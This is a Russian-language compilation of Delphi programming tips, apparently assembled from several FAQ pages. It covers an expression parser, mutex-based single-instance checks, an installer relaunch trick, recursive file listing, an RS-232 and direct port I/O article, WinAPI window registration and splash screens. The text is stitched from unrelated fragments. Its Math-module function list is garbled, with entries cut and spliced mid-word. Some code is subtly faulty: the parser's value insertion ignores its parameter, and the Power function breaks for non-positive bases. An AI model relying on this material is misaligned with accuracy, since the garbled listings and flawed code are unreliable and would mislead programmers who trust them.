if i <= 0 then break;
s[i] := '/';
until 1 = 0;
// |...|
repeat
i := pos('|', s);
if i <= 0 then break;
s[i] := 'a';
insert('bs(', s, i + 1);
i := i + 3;
repeat i := i + 1 until (i > Length(s)) or (s[i] = '|');
if s[i] = '|' then s[i] := ')';
until 1 = 0;
// #...#
i := 1;
repeat
if s[i] in figures then begin
insert('#', s, i);
i := i + 2;
while (s[i] in figures) do i := i + 1;
insert('#', s, i);
i := i + 1;
end;
i := i + 1;
until i > Length(s);
end;
function ChangeVar(s: String; c: char; value: extended): String;
var
p: integer;
begin
result := s;
repeat
p := pos(c, result);
if p <= 0 then break;
delete(result, p, 1);
insert(FloatToStr(value), result, p);
until 1 = 0;
end;
function Recogn(st: String; var Num: extended): boolean;
const
pogr = 1E-5;
var
p, p1: integer;
i, j: integer;
v1, v2: extended;
func: (fNone, fSin, fCos, fTg, fCtg, fArcsin, fArccos, fArctg, fArcctg, fAbs, fLn, fLg, fExp);
Sign: integer;
s: String;
s1: String;
function FindLeftValue(p: integer; var Margin: integer; var Value: extended): boolean;
var
i: integer;
begin
i := p - 1;
repeat i := i - 1 until (i <= 0) or (s[i] = '#');
Margin := i;
try
Value := StrToFloat(copy(s, i + 1, p - i - 2));
result := true;
except
result := false
end;
delete(s, i, p - i);
end;
function FindRightValue(p: integer; var Value: extended): boolean;
var
i: integer;
begin
i := p + 1;
repeat i := i + 1 until (i > Length(s)) or (s[i] = '#');
i := i - 1;
s1 := copy(s, p + 2, i - p - 1);
result := TextToFloat(PChar(s1), value, fvExtended);
delete(s, p + 1, i - p + 1);
end;
procedure PutValue(p: integer; NewValue: extended);
begin
insert('#' + FloatToStr(v1) + '#', s, p);
end;
begin
Result := false;
s := st;
// ()
p := pos('(', s);
while p > 0 do begin
i := p;
j := 1;
repeat
i := i + 1;
if s[i] = '(' then j := j + 1;
if s[i] = ')' then j := j - 1;
until (i > Length(s)) or (j <= 0);
if i > Length(s) then s := s + ')';
if Recogn(copy(s, p + 1, i - p - 1), v1) = false then Exit;
delete(s, p, i - p + 1);
PutValue(p, v1);
p := pos('(', s);
end;
// sin, cos, tg, ctg, arcsin, arccos, arctg, arcctg, abs, ln, lg, log, exp
repeat
func := fNone;
p1 := pos('sin', s);
if p1 > 0 then begin
func := fSin;
p := p1;
end;
p1 := pos('cos', s);
if p1 > 0 then begin
func := fCos;
p := p1;
end;
p1 := pos('tg', s);
if p1 > 0 then begin
func := fTg;
p := p1;
end;
p1 := pos('ctg', s);
if p1 > 0 then begin
func := fCtg;
p := p1;
end;
p1 := pos('arcsin', s);
if p1 > 0 then begin
func := fArcsin;
p := p1;
end;
p1 := pos('arccos', s);
if p1 > 0 then begin
func := fArccos;
p := p1;
end;
p1 := pos('arctg', s);
if p1 > 0 then begin
func := fArctg;
p := p1;
end;
p1 := pos('arcctg', s);
if p1 > 0 then begin
func := fArcctg;
p := p1;
end;
p1 := pos('abs', s);
if p1 > 0 then begin
func := fAbs;
p := p1;
end;
p1 := pos('ln', s);
if p1 > 0 then begin
func := fLn;
p := p1;
end;
p1 := pos('lg', s);
if p1 > 0 then begin
func := fLg;
p := p1;
end;
p1 := pos('exp', s);
if p1 > 0 then begin
func := fExp;
p := p1;
end;
if func = fNone then break;
case func of
fSin, fCos, fCtg, fAbs, fExp: i := p + 2;
fArctg: i := p + 4;
fArcsin, fArccos, fArcctg: i := p + 5;
else i := p + 1;
end;
if FindRightValue(i, v1) = false then Exit;
delete(s, p, i - p + 1);
case func of
fSin: v1 := sin(v1);
fCos: v1 := cos(v1);
fTg: begin
if abs(cos(v1)) < pogr then Exit;
v1 := sin(v1) / cos(v1);
end;
fCtg: begin
if abs(sin(v1)) < pogr then Exit;
v1 := cos(v1) / sin(v1);
end;
fArcsin: begin
if Abs(v1) > 1 then Exit;
v1 := arcsin(v1);
end;
fArccos: begin
if abs(v1) > 1 then Exit;
v1 := arccos(v1);
end;
fArctg: v1 := arctan(v1);
// fArcctg: v1 := arcctan(v1);
fAbs: v1 := abs(v1);
fLn: begin
if v1 < pogr then Exit;
v1 := Ln(v1);
end;
fLg: begin
if v1 < 0 then Exit;
v1 := Log10(v1);
end;
fExp: v1 := exp(v1);
end;
PutValue(p, v1);
until func = fNone;
// power
p := pos('^', s);
while p > 0 do begin
if FindRightValue(p, v2) = false then Exit;
if FindLeftValue(p, i, v1) = false then Exit;
if (v1 < 0) and (abs(Frac(v2)) > pogr) then Exit;
if (abs(v1) < pogr) and (v2 < 0) then Exit;
delete(s, i, 1);
v1 := Power(v1, v2);
PutValue(i, v1);
p := pos('^', s);
end;
// *, /
p := pos('*', s);
p1 := pos('/', s);
if (p1 > 0) and ((p1 < p) or (p <= 0)) then p := p1;
while p > 0 do begin
if FindRightValue(p, v2) = false then Exit;
if FindLeftValue(p, i, v1) = false then Exit;
if s[i] = '*'
then v1 := v1 * v2
else begin
if abs(v2) < pogr then Exit;
v1 := v1 / v2;
end;
delete(s, i, 1);
PutValue(i, v1);
p := pos('*', s);
p1 := pos('/', s);
if (p1 > 0) and ((p1 < p) or (p <= 0)) then p := p1;
end;
// +, -
Num := 0;
repeat
Sign := 1;
while (Length(s) > 0) and (s[1] <> '#') do begin
if s[1] = '-' then Sign := -Sign
else if s[1] <> '+' then Exit;
delete(s, 1, 1);
end;
if FindRightValue(0, v1) = false then Exit;
if Sign < 0
then Num := Num - v1
else Num := Num + v1;
until Length(s) <= 0;
Result := true;
end;
end.
А это пример использования этого модуля. Он рисует график функции, введенной в Edit1. Константы left и right определяют края
графика, а YScale – масштаб по Y.
uses Recognition;
procedure TForm1.Button1Click(Sender: TObject);
const
left = -10;
right = 10;
YScale = 50;
var
i: integer;
Num: extended;
s: String;
XScale: single;
col: TColor;
begin
s := Edit1.Text;
preparation(s, ['x']);
XScale := PaintBox1.Width / (right - left);
randomize;
col := RGB(random(100), random(100), random(100));
for i := round(left * XScale) to round(right * XScale) do
if recogn(ChangeVar(s, 'x', i / XScale), Num) then
PaintBox1.Canvas.Pixels[round(i - left * XScale),
round(PaintBox1.Height / 2 - Num * YScale)] := col;
end;
FindWindow является неполным решением (если меняется заголовок окна или
если есть другая программа с таким же заголовком или типом окна).
Вторично: медленно.
Лениво пользовать семафоры, покажу на именованных мутексах (семафоры с двумя
состояниями).
Unit OneInstance32;
interface
implementation
uses
Forms;
var
g_hAppMutex: THandle;
function OneInstance: boolean;
var
g_hAppCritSecMutex: THandle;
dw: Longint;
begin
g_hAppCritSecMutex := CreateMutex( nil, true, PChar(Application.Title +
'.OneInstance32.CriticalSection') );
// if GetLastError - лениво писать
g_hAppMutex := CreateMutex( nil, false, PChar(Application.Title +
'OneInstance32.Default') );
dw := WaitForSingleObject( g_hAppMutex, 0 );
Result := (dw <> WAIT_TIMEOUT);
ReleaseMutex( g_hAppCritSecMutex ); // необязательно вследствие последующего
закрытия
CloseHandle( g_hAppCritSecMutex );
end;
initialization
g_hAppMutex := 0;
finalization
if LongBool( g_hAppMutex ) then
begin
ReleaseMutex( g_hAppMutex); // необязательно
CloseHandle( g_hAppMutex );
end;
end.
Допустим у тебя TMemo..
1. Делаешь ListBox, заполняешь, visible := false, parent := Memo
2. У Memo в обработчике Memo.onKeyDown что-нибудь типа:
if ((key = Ord('J'))and(ssCtrl in Shift)) then begin lb.Left := Memo.CaretPos.x;
lb.Top := Memo.CaretPos.y + lb.height; lb.Visible :=
True; lb.SetFocus; end;
он показывается.. а дальше работай с листбоксом, вставляй в мемо нужный текст, пряч листбокс
program Setup;
uses
Windows,
SysUtils;
const
ReRunParameter = '/install_from_temp_directory';
var
TempPath: array [0..MAX_PATH] of Char;
SrcPath: String;
begin
if ParamStr(1) = ReRunParameter then
SrcPath := ParamStr(2)
else
if GetDriveType(PChar(ParamStr(0)[1] + ':\')) = DRIVE_REMOVABLE then
begin
// Если программа была запущена без ключа и с дискеты, то
// копируем её во временный каталог и перезапускам
// Текущее приложение завершаем.
GetTempPath(MAX_PATH, TempPath);
// Добавлям к пути временного каталога символ '\', если его там нет
if (StrLen(TempPath) > 0) and (TempPath[StrLen(TempPath)] <> '\') then
StrCat(TempPath, '\');
// Копируем файл через вызов функции CopyFile из WinAPI
CopyFile(PChar(ParamStr(0)), PChar(String(TempPath) + ExtractFileName(ParamStr(0))), False);
// Запускаем файл с двумя параметрами
WinExec(PChar(String(TempPath) + ExtractFileName(ParamStr(0)) + ' ' +
ReRunParameter + ' ' + ExtractFilePath(ParamStr(0))), CmdShow);
Exit;
end
else
SrcPath := ExtractFilePath(ParamStr(0));
// Здесь начинается программа инсталляции
// Переменная SrcPath показывает нам, откуда надо копировать файлы
end.
--------------------------------------------------
Сжатие cmpress.exe или cabarc.exe от Microsoft
hInFile := LZOpenFile(PChar(SourcePath), ofInReOpenBuff, OF_READ);
hOutFile := LZOpenFile(PChar(TargetPath), ofOutReOpenBuff, OF_CREATE or OF_WRITE);
iLZError := LZCopy(hInFile, hOutFile);
if iLZError > 0 then
// Операция выполнилась успешно, скопировано iLZError байт
else
// Ошибка номер iLZError
LZClose(hOutFile);
LZClose(hInFile);
--------------------------------------------------
Ниже приводится исходный текст процедуры, которая составляет список файлов в каталоге и всех вложенных подкаталогах
procedure ReadTree(Path: String; Strings: TStrings);
procedure ReadFolder(Path: String; Strings: TStrings);
var
SearchRec: TSearchRec;
FindResult: Integer;
begin
FindResult := FindFirst(Path + '*.*', faAnyFile, SearchRec);
while FindResult = 0 do
begin
// Если найден подкаталог, рекурсивно читаем его содержимое
// Не забываем игнорировать подкаталоги '.' и '..'
with SearchRec do
if (Name <> '.') and (Name <> '..') then
begin
Strings.Add(Path + Name);
if (Attr and faDirectory <> 0) then
ReadFolder(Path + Name + '\', Strings);
end;
FindResult := FindNext(SearchRec);
end;
FindClose(SearchRec);
end;
begin
// Эта процедура заносит в Strings список файлов во всех вложенных папках
// каталога Path и сами эти папки
Strings.Clear;
if (Length(Path) > 0) and (Path[Length(Path)] <> '\') then
Path := Path + '\';
ReadFolder(Path, Strings);
end;
function Power(x, y : extended) : extended;
begin
result := exp(y*ln(x));
end;
В данном пример 3 возводится в степень 2:
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(FloatToStr(Power(3, 2)));
end;
Мне нужно получить содержимое выделения из какого либо текстового редактора. т.е. я выделяю текст, а моя прога должна уже его
знать (без копирования в буфер обмена).
Как этого можно добиться?
--------------------------------------------------------------------------------
1. Если это стандартный элемент редактирования Windows, то можно послать в него
EM_GETSEL - узнаешь позиции первого и последнего выделенного символа. Потом
с помощью EM_GETLINE вытащишь выделенный текст.
2. Если это RichEdit, то для него есть EM_GETSELTEXT.
3. Если это неизвестный заранее текстовый редактор, то все зависит от его реализации
и общего решения наверно нет.
Автоматизация различных систем с помощью компьютера меня интересовала всегда. Но когда я начал заниматься этой задачей, то
столкнулся с множеством проблем. Одна из главных проблем это литература, в которой в доступной для меня форме был бы освещен
данный вопрос. Но литературы по данной теме очень мало, особенно в нашем небольшом городке. Взять, например книгу в магазине
за 300 руб. в которой уделяется искомому вопросу 2-3 страницы неинтересно, а покупать 2-3 книги дорого. Вы скажете "Сходи в
библиотеку и нет проблем", о библиотеке я тоже думал. Но и там проблема с книгами стоит остро. Денег на новые книги у них нет,
так как книги по компьютерной тематике в основном печатаются в коммерческих типографиях и поэтому стоят дорого. А тот мизер
который выделяет государство на покупку книг настолько мал что его хватает только на содержание старых наиболее читаемых
произведений. И тогда я решил поискать в интернете. И он меня не разочаровал. В первый же час поиска я нашел много интересного.
В основном это статьи людей занимающиеся аналогичным вопросом . Они делятся своим опытом с начинающими и в примерах
показывают, как реализовать ту или иную задачу.
Данная статья была задумана для объединения в себя всю ту информацию, которую я почерпнул в ходе своего изыскания в
интернете.
История стандарта RS-232.
В 1969 г. Группой ведущих промышленных корпораций США был введен стандарт на соединение оборудования. Ассоциация
электронной промышленности США (EIA) опубликовала вариант С своего рекомендуемого стандарта (Recommended Standart - RS)
номер 232. Этот стандарт был озаглавлен "Интерфейс между оконечным оборудованием обработки данных и оконечным
оборудованием линии с использованием последовательного обмена данными в двоичной форме" и известен просто как стандарт
RS-232C. МККТТ ввел свой собственный вариант этого стандарта в виде стандартов V.24 и V.28.
Министерство обороны США выпустило практически идентичный стандарт Mil-Std-188C.
Хотя стандарт RS-232C был весьма популярен, определяемый им физический интерфейс долек от совершенства. Система передачи
данных (передатчик, приемник, соединительные кобеля), реализованная в соответствии с техническими условиями стандарта
RS-232C, должна гарантированно обеспечивать передачу сигнала со скоростями, не превышающими всего лишь 20 Кбит/с .
Ассоциация электронной промышленности США ввела рекомендуемые стандарты для систем, работающих при больших скоростях,
но стандарт RS-232C продолжает оставаться основной реализации последовательного интерфейса для IBM-совместимых
персональных компьютеров.
Модификация D этого стандарта была введена в 1987 г. В ней были определены некоторые дополнительные линии тестирования, а
также закреплено то, что многие рассматривали как недостаток стандарта RS-232C.
Самой последней (июль 1991 г.) модификацией стандарта RS-232 является стандарт EIA/TIA-232E. В модификации Е нет никаких
технических изменений, которые могли бы привести к проблемам совместимости с оборудованием, согласованным с предыдущими
вариантами этого стандарта..
Проблема.
Под MS-DOS приложение управляет всем компьютером. Это развязывало программисту руки. Достижение максимальной скорости
работы осуществлялось непосредственным доступом к аппаратным средствам.
Под Windows 3.x эта свобода отчасти была ограничена. К примеру вы уже не имели полный доступ к экрану. Проблема объясняется
легко: с тех пор, как пользователь мог запускать любое количество приложений, не было никакой гарантии, что приложения не
получали одновременно те же самые аппаратные средства.
Другая проблема - вы уже должны были считаться с параллельно запущенными задачами, а не требовать у компьютера в свое
распоряжение все ресурсы. Win 3.x осуществляет кооперацию параллельных задач, означая, что каждое приложение должно исходить
из концепции совместного существования и не монополизировать ресурсы, а пользоваться услугами специализированного
диспетчера. Захват CPU на длительное время здесь не приветствуется.
Но тем не менее монополизированный доступ к аппаратным средствам также возможен, но вся ответственность за работу других
приложений ложится на программиста. Получается борьба вашего приложения с системой: если вы захватываете все рабочее время
CPU, контроль над портами или работу с памятью, то система милостиво ждет, пока вы не отдадите бразды правления в ее руки, при
этом другие приложения (если они не успели это сделать до вас) могут ругаться, выплевывать на экран грязные ругательства и пугать
не в чем не повинного пользователя.
Факт, но тенденция отбивания рук от прямого доступа к железу победила на платформе Win32 (Windows NT и Windows 95). Это
операционные системы с истинной многозадачностью. Каждый поток (выполняемый модуль) получает определенный квант
процессорного времени. Когда лимит процессорного времени исчерпан, или появляется поток с более высоким приоритетом,
система прекращает обслуживать первый поток, даже в случае, если он не завершен. Это переключение между потоками может
произойти между двумя ассемблерными инструкциями, нет никакой гарантии, что поток сможет завершить определенное количество
инструкций, прежде чем у него отнимут процессорное время, к тому же неизвестно как долго ждать следующей порции
процессорного времени. Это приводит к проблеме с прямым доступом к аппаратным средствам. Например, типичное чтение из
порта формируется из нескольких ассемблерных инструкций:
mov dx, AddressPort mov al, Address out dx, al jmp Wait Wait:
mov dx, DataPort in al, dx Состояние всех регистров при переключении потоков сохраняется, состояние I/O портов
(последовательные порты, порты ввода/вывода) - нет. Так, велика вероятность что другие приложения производят другие операции с
I/O портом, в то время как вы "застряли" между инструкциями 'out' и 'in'.
Документированный путь.
Для решения этой проблемы мы должны как-то сообщить всем другим приложениям, что "К настоящему времени MyProg использует
порт 546, и всем оставаться на своих местах до моего особого распоряжения." В этом случае подошел бы мьютекс. К сожалению, для
использования созданного мьютекса все приложения должны знать его имя. Но даже если бы это было возможно, вы легко можете
наткнуться на другие заковыристые проблемы. Рассмотрим два приложения - App1 и App2. Оба пытаются выполнить
вышеприведенный код. К несчастью, они созданы разными программистами с разным взглядом на технологию доступа, поэтому
App1 сначала требует AddressPortMutex, в то время как App2 требует DataPortMutex. И, по печальному совпадению, когда App1
получает AddressPortMutex, система переключается на App2, которое захватывает DataPortMutex и получается праздник
смертельного объятия. App2 не может получить адрес порта, т.к. его захватило App1. App1 не может получить данные порта, т.к.
это захватило App2. И все чего-то ждут...
Правильное решение - создание драйвера устройства, которой единолично владеет портами/памятью. Доступ к аппаратным
средствам осуществляется посредством API. Вот типичный вызов:
GetIOPortData(AddressPort, DataPort : word) : Byte;
GetIOPortData сначала создает мьютекс, который защищает от вторжения (возможно все) порты, затем дает доступ к портам и,
наконец, уничтожает его перед возвратом в вызвавшему функцию оператору. В случае, когда функцию пытаются вызвать несколько
потоков, управление получает только один, остальные в это время ждут.
Создание драйвера устройства дело нелегкое. Он должен быть создать с помощью ассемблера или C и невероятно труден в отладке.
Более того, из-за соображений безопасности драйверы устройств для Windows 95 (VxD) не совместимы с драйверами для Windows
NT (VDD, virtual device driver - виртуальный драйвер устройства). Говорят, что в будущих версиях они будут совместимы, и
Windows NT 6.0 и Windows 2000 будут использовать одни и те же драйвера, но пока разработчики вынуждены заниматься созданием
двух различных версий.
Для получения более подробной информации рекомендую обратиться к следующим ресурсам:
Microsoft Windows 95 Device Driver Kit
Microsoft Windows NT Device Driver Kit
Microsoft Press "Systems Programming for Windows 95" автора Walter Oney
Вышеуказанная проблема не слишком реальна. Приложение, которое имеет непосредственный доступ к аппаратным средствам,
обычно использует некоторые специализированные аппаратные средства. Конфигурация типа той, которая стремиться запустить
только одно приложение имеет единственную цель - получить монопольный доступ к этим аппаратным средствам. В этом случае
создание драйверов устройств очень нерентабельно. В конце концов, причина хотя бы в том, что это работает под Windows, что
можно получить свободно (почти) классный GUI, а не в том, чтобы 10 приложений работало одновременно.
К счастью, в Windows 95 заложена совместимость с Windows 3.x. Это означает, что директивное использование I/O портов также
возможно, поскольку до сих пор находятся в эксплуатации множество 16-битных программ, которые просто не могут работать по
другому. Просто в этом случае при кодировании вам придется спуститься до уровня ассемблера. Автор следующего кода Arthur
Hoornweg (hoornweg@hannover.sgh-net.de):
//Базовые адреса двух COM портов, для справки:
COM1 - 3F8h
COM2 - 2F8h
Function getport(p:word):byte; stdcall;
begin
asm
push edx
push eax
mov dx,p
in al,dx
mov @result,al
pop eax
pop edx
end;
end;
Procedure Setport(p:word;b:byte);stdcall;
begin
asm
push edx
push eax
mov dx,p
mov al,b
out dx,al
pop eax
pop edx
end; end;
Francois Piette также предлагает свое решение прямого доступа к портам I/O на страничке
Как насчет NT?
Но все вышесказанное под Windows NT работать не будет. NT более "прочная" операционная система, поэтому если она позволит в
любое время кому попало обращаться к любым аппаратным средствам, она не была бы такой устойчивой. Кроме того, NT является
кроссплатформенной системой, поэтому доступ к I/O портам может кардинально различаться при работе на различных процессорах.
Но тем не менее даже под NT можно добраться непосредственно до I/O портов, правда только на x86 процессорах. Это не является
документированной особенностью, и, вероятно, исчезнет в будущих версиях этой операционной системы.
Я не обладаю достаточно полной информацией по этому вопросу, но интересующая нас статья D. Roberts в майском номере журнала
Dr. Dobb's Journal за 1996 год так и называется "Direct Port I/O and Windows NT." К сожалению, я так и не нашел времени проверить
приведенный там код.
Также рекомендую ознакомиться с опубликованной в Windows Developer Journal статьей "Port I/O under Windows." Опубликована
Karen Hazzah в июне 1996 года.
Визуальный компонент Comm32.
Вы спросите "Все это хорошо. Но есть ли визуальный компонент сторонних фирм, работающих с Com портом?". Да есть. И он
называется Comm32. На мой взгляд, он один из лучших на сегодняшний день. Чтобы вам было легче с ним разобраться я приведу
пример, реализации данного компонента.
Программа называется Psion. Она задумывалась для тестирования теплосчетчиков Clorius.
В первый Edit мы вводим сетевой адрес теплосчетчика. По умолчанию он равен 0. С помощью второго мы посылаем команды
теплосчетчику. Третий Edit служит для вывода информации, которую теплосчетчик посылает нам.
Вот исходный текст программы написанной на Delphi5:
type
TXXXX=array[1..255] of Char; //Определяем символьный массив
PXXXX=^TXXXX;
//Функция отвечающая за подсчет контрольной суммы
function TForm1.CheckSum(AStr: String): Char;
var crc,i: Integer; //Вводим свои целочисленные переменные
begin
crc:=0;
for i := 1 to Length(AStr) do
crc:=crc+Ord(AStr[i]);
crc:=(crc and $3F) + $30;
Result:=Chr(crc);
end;
//Функция сравнивания контрольной суммы с полученными данными
function TForm1.CompareCheckSum(AStr: String; CS: Char): boolean;
begin
Result:=CheckSum(AStr)=CS;
end;
//Возвращает тело пакета без сетевого адреса и контрольной суммы
function TForm1.GetInput: String; var l:integer;
begin
Result:='';
l:=Length(FInput);
if InputState = 1 then
begin
if StartTime+3000 < GetTickCount then
InputState := 2;
Exit;
end;
if l<3 then Exit;
if CompareCheckSum(Copy(FInput,1,l-2),Copy(FInput,l-1,1)[1])=true then
begin
InputState := 0;
NetNumber:=FInput[1];
AddrEdt.Text:=NetNumber;
Result:=copy(FInput,2,l-3);
end
else InputState := 3;
end;
//Данная процедура возникает, когда мы пытаемся послать команду устройству
procedure TForm1.SetOutput(const Value: String);
var XXXX:TXXXX;
S:String;
L,i:Integer;
begin
S:=NetNumber+Value;
S:=S+CheckSum(S)+#13;
L:=Length(S);
if L>255 then Exit;
for i:=1 to L do
XXXX[i] := S[i];
InputState := 1;
FInput:='';
CommPortDriver1.SendData(@XXXX,L);
StartTime:=GetTickCount;
end;
//Процедура возникает при запуске программы
procedure TForm1.FormCreate(Sender: TObject);
begin
NetNumber:='0';
CommPortDriver1.Connect;
end;
//Процедура возникает при выходе из программы procedure TForm1.FormDestroy(Sender: TObject);
begin
CommPortDriver1.Disconnect;
end;
//Процедура возникает при ответе устройства
procedure TForm1.CommPortDriver1ReceiveData(Sender: TObject; DataPtr: Pointer; DataSize: Integer);
var PX:PXXXX;
i:integer;
begin
InputState := 4;
Application.ProcessMessages;
FInput:='';
PX:=DataPtr;
for i := 1 to DataSize do
FInput:=FInput+PX^[i];
InputState := 5;
Application.ProcessMessages;
Edit2.Text:=Input;
end;
//Процедура возникает при подборе визуального состояния программы
procedure TForm1.SetInputState(const Value: integer);
begin FInputState := Value;
case Value of
0: Caption:='Данные успешно приняты';
1: Caption:='Ждем ответа';
2: Caption:='Таймаут';
3: Caption:='Пакет принят с ошибкой';
4: Caption:='Принимаем ответ';
5: Caption:='Ответ получен';
end;
end;
//Процедура возникает при нажатии клавиши "Отправить"
procedure TForm1.SendBtnClick(Sender: TObject);
begin
Output:=OutputEdt.Text;
SendBtn.Enabled:=False;
repeat
Edit2.Text:=Input;
until InputState<>1;
SendBtn.Enabled:=True;
end;
//Процедура возникает при изменении сетевого адреса устройства
procedure TForm1.AddrEdtChange(Sender: TObject);
begin
NetNumber:=AddrEdt.Text[1];
end;
Решил
пописать на WinApi из под Делфи, но
почему то никак не хочет регистриться мой класс окна функцией
RegisterClass(). Может кто знает в чём
тут трабл. Тот же самый код без проблем работает в BP for Windows 7.0.
На всякий случай вот *.dpr
файл. Кстати вдруг если это важно - Дельфя третья.
program Window;
uses Windows, Messages;
var w: TWndClassA;
h: HWND;
m: TMsg;
function WndProc(Wnd, Msg, WParam: Word; LParam: LongInt): Longint;
begin
WndProc := 0;
case Msg of
WM_DESTROY: PostQuitMessage(0);
else DefWindowProc(Wnd, Msg, WParam, LParam);
end;
end;
begin
w.style := 0;
w.lpfnWndProc := @WndProc;
w.cbClsExtra := 0;
w.cbWndExtra := 0;
w.hInstance := hInstance;
w.hIcon := 0;
w.hCursor := 0;
w.hbrBackground := COLOR_WINDOW;
w.lpszMenuName := NIL;
w.lpszClassName := PChar('MyWindow');
RegisterClassA(w);
h := CreateWindowExA(0, w.lpszClassName, 'Hello World !!! :-)',
WS_VISIBLE or WS_MINIMIZEBOX OR WS_SYSMENU OR WS_BORDER,
0, 0, 300, 600, 0, 0, hInstance, NIL);
GetMessage(m,0,0,0);
repeat
if m.message = WM_QUIT then Exit;
TranslateMessage(m);
DispatchMessage(m);
until not GetMessage(m,0,0,0);
end.
Ответ 1:
Сlass создавать надо примерно так:
var
wclass:TWndClass;
with wclass do
begin
style:=CS_CLASSDC or CS_PARENTDC;
lpfnwndproc:=@windowproc; {твоя поцедура окна }
hinstance:=instance;
hbrbackground:=Window_Background;
lpszclassname:=pchar('Имя класса окна');
hcursor:=loadcursor(0,IDC_ARROW);
end;
Ответ 2:
Первое, что заметил: параметр WParam типа Word будет работать
только в 16-битной среде (которую делает BP for Windows).
В Delphi все 32-битное, и этот параметр тоже.
Объявите его как LongInt.
Ответ 3:
Такая ошибка возникала у меня, когда я пыталась зарегистрировать уже
зарегистрированный класс (в приложении для Windows на C++). Для снятия
регистрации класса использовала функцию UnregisterClass.
http://delphi.mastak.ru/cgi-bin/faq.pl?look=1&id=19-988619976
Здесь я привожу полный список всех функций и процедур модуля Math. При переходе от Delphi 2 к Delphi 3 модуль Math почти не
изменился, фирма Borland ввела в него только три новые функции: MaxIntVal ue, MInIntValue и Sumint. Эти функции отличаются от
своих прототипов (MaxValue, MI nVal ue и Sum) лишь тем, что работают исключительно с целыми числами, не принимая и не
возвращая величин с плавающей точкой. Что касается остальных функций, то большинство из них вполне очевидно. Если вам
покажется иначе - что ж, ндуется для X, близких к нулю
LogN - Вычисление логарифма Х по основанию N
LogIO - Вычисление десятичного логарифмах
Log2 - Вычисление двоичного логарифмах
Power - Возведение числа в степень. Работает медленнее IntPower, но для операций с плавающей точкой вполне приемлемо
Финансовые функции и процедуры
DoubleDecliningBalance - Вычисление амортизации методом двойного баланса
FutureValue - Будущее значение вложения
InterestPayment - Вычисление процентов по ссуде
Interest Is - Статистические моменты порядков с первого по четвертый, а также асимметрия (skew) и эксцесс (kurtosis) для набора
чисел
Norm - Норма для набора данных (квадратный корень из суммы квадратов)
PopnStdDev - Выборочное стандартное отклонение. Отличается от обычного стандартного отклонения тем, что при вычислениях
используется выборочное значение дисперсии, PopnVarl апсе (см. ниже)
PopnVarlance - Выборочная дисперсия. Использует "смещенную" формулу TotalVanance/n
RandG - Генерация норм
protected
procedure AppIdle(Sender: TObject; var Done: Boolean);
procedure TMainForm.AppIdle(Sender: TObject; var Done: Boolean);
var
i,
VisibleCount: Integer;
begin
VisibleCount := 0;
for i:=0 to Screen.FormCount-1 do
if IsWindowVisible(Screen.Forms[i].Handle) then
Inc(VisibleCount);
StatusBar.SimpleText :=
Format(
'At this time there are created %d forms, of which %d are visible on screen',
[Screen.FormCount, VisibleCount]);
Done := True;
end;
procedure TMainForm.FormShow(Sender: TObject);
begin
Application.OnIdle:= AppIdle;
end;
Перед появлением главного окна во всех серьёзных
приложениях сначала появляется заставка.
Теперь и у Вас есть возможность повыёживаться!
Для создания заставки выполняем следующую последовательность
действий:
Начинаем создание нового приложение командой
New Application (Новое приложение) из меню File (Файл)
Добавьте ещё одну форму:
New Form (Новая форма) из меню File (Файл).
Это окно и будет заставкой. У него нужно
убрать рамку с полосой заголовка, установив
свойство BorderStyle в bsNone.
Теперь можно смело разработать дизайн окна заставки.
Из меню Project (Проект) выбрать команду Options (Опции).
Зайти на закладку Forms( Формы) и Form2 из списка
автоматически создаваемых форм (Auto-Create forms)
перенести в список доступных форм (Available forms)
На форму-заставку с закладки System вынести
компонент Timer.
В его свойстве Interval установить значение 5000, а в
событии OnTimer написать:
Timer1.Enabled:=false;
(это сделано для того, чтобы заставка была видна в период
указанного времени 5000 миллисекунд, т.е. 5 секунд)
Перейти в файл проекта, нажав Ctrl+F12 и выбрав Project1.
Исходный код должен выглядеть так:
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1},
Unit2 in 'Unit2.pas' {Form2};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
Теперь мы внесём сюда немного изменений и
код должен стать таким:
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1},
Unit2 in 'Unit2.pas' {Form2};
{$R *.RES}
begin
Application.Initialize;
Form2:=TForm2.Create(Application);
Form2.Show;
Form2.Update;
while Form2.Timer1.Enabled do Application.ProcessMessages;
Application.CreateForm(TForm1, Form1);
Form2.Hide;
Form2.Free;
Application.Run;
end.
Как это сделано?
Сначала мы создаём экземпляр формы-заставки, т.к. она
автоматически не создаётся
Form2:=TForm2.Create(Application);
Потом мы показываем созданное окно
Form2.Show;
Для большей верности, что окно будет выведено,
мы его обновляем
Form2.Update;
Так как период задержки формы на экране очень
мал, мы не скрываем окно, пока активен
таймер, который был вынесен на форму-заставку
while Form2.Timer1.Enabled do Application.ProcessMessages;
Перед запуском приложения
Application.Run
скрываем заставку и уничтожаем её
Form2.Hide;
Form2.Free;
-----------------------------2-----------------------------
procedure TForm1.FormCreate(Sender: TObject);
begin
sleep(1000);
end;
program SySysy;
uses
Forms,
Main in 'Main.pas' {Form1},
Unit2 in 'Unit2.pas' {Splash};
{$R *.res}
begin
try
Splash := TSplash.Create(Application);
Splash.Show;
Splash.Update;
Application.Initialize;
Application.CreateForm(Tform1, form1);
Splash.Hide;
finally
Splash.Free;
Application.Run;
end;
end.
При обращении к элементам различных списков приходится писать что-то вроде: a.Strings[2] или b.Items. Эту запись можно
сократить, убрав слово Strings или Items. Пример:
procedure TForm1.Button1Click(Sender: TObject);
var
sl: TStringList;
begin
sl := TStringList.Create;
sl.Add('abc');
sl.Add('def');
sl.Add('ghi');
Form1.Caption := sl[0] + sl[1] + sl[2]; { Вместо sl.Strings[0] +
sl.Strings[1] + sl.Strings[2] }
end;
Это работает в таких классах, как ActionList, Bits, ComponentList, ClassList, HeaderSections, List, ListItems, MenuItem, ObjectList,
StatusPanels, StringList, Strings, TreeNode и некоторых других.
Сторожевой пес типа "Мухтар"
К заголовку
У меня мания делать охранные программы для системы, вот например при помощи функции SendMessage (Windows API), можно
смастерить одну из таких, для этого ей необходимо несколько параметров. Первым идет дескриптор окна; в нашем случае
правильным будет HWND_BROADCAST. Затем идет передаваемое сообщение, WM_WININICHANGE. Последние два параметра -
wParam и lParam (word-параметр и long-параметр) сообщения. В нашем случае (для данного конкретного сообщения) wParam должен
быть 0, а lParam должен содержать адрес строки с именем измененной секции. Если lParam = NIL (ноль), то система должна
